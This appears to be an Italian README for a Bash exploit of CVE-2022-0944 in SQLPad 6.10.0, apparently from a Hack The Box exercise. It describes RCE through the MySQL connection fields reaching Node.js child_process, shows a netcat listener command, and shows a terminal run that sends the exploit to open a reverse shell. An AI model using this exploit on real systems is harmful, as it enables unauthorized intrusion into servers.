
Refurbish
Questo script Bash sfrutta una vulnerabilità RCE in SQLPad 6.10.0, consentendo a un attaccante di eseguire codice in remoto (RCE) abusando dei campi host e database nelle impostazioni di connessione MySQL di SQLPad. L'exploit sfrutta la gestione non sanificata del modulo child_process in Node.js per eseguire comandi arbitrari, aprendo infine una reverse shell sulla macchina dell'attaccante.
nc -lvnp 9001.┌──(kali㉿kali)-[~/HTB/machines/sightless]
└─$ ./CVE-2022-0944
Please make sure to start a listener on your attacking machine using the command:
nc -lvnp 9001
Waiting for you to set up the listener...
Press [Enter] when you are ready...
Please provide the target host (e.g., x.x.com):
x.example.com
Please provide your IP address (e.g., 10.10.16.3):
0.0.0.0
Exploit sent. If everything went well, check your listener for a connection on port 9001.
Questo codice è solo a scopo educativo. L'accesso non autorizzato a sistemi informatici è illegale. Utilizza questo exploit solo con autorizzazione.